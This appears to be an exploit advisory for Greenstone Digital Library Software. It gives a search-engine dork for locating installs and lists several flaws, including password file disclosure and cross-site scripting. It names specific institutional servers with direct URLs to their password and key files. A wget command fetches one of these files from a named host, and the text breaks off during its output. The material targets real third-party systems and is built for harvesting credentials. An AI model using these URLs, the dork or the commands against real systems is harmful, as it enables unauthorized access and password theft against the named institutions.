====== Vulnerable Software: Greenstone Digital Library Software. Official Site: http://www.greenstone.org/ Dork: inurl:gsdl/etc/ ======== About software: The aim of the Greenstone software is to empower users, particularly in universities, libraries, and other public service institutions, to build their own digital libraries. Digital libraries are radically reforming how information is disseminated and acquired in UNESCO's partner communities and institutions in the fields of education, science and culture around the world, and particularly in developing countries. ======== About Vulnerabilities. This software: is prone to multiple vulnerabilities such as: [*] Password file Disclosure, [*] Cross Site Scripting, [*] Log File forging,Log File poisoning, [*] Default salt, [*] Unrestricted access to system/configuration files. (As well as to passwords file as mentinoned above.) =================Let's Roll============================ Password file disclosure: http://greenstone.flib.sci.am/gsdl/etc/users.gdb http://greenstone.flib.sci.am/gsdl/etc/key.gdb http://greenstone.martinique.univ-ag.fr/gsdl/etc/users.db http://greenstone.martinique.univ-ag.fr/gsdl/etc/key.db Example: (P.S Password encryption: Des (Unix)) ===================== Reproduce ===================== $ wget http://greenstone.flib.sci.am/gsdl/etc/users.gdb && cat users.gdb --2012-11-22 17:04:39-- http://greenstone.flib.sci.am/gsdl/etc/users.gdb Resolving greenstone.flib.sci.am (greenstone.flib.sci.am)... 93.187.162.197 Connecting to greenstone.flib.sci.am (greenstone.flib.sci.am)|93.187.162.197|:80... connected.
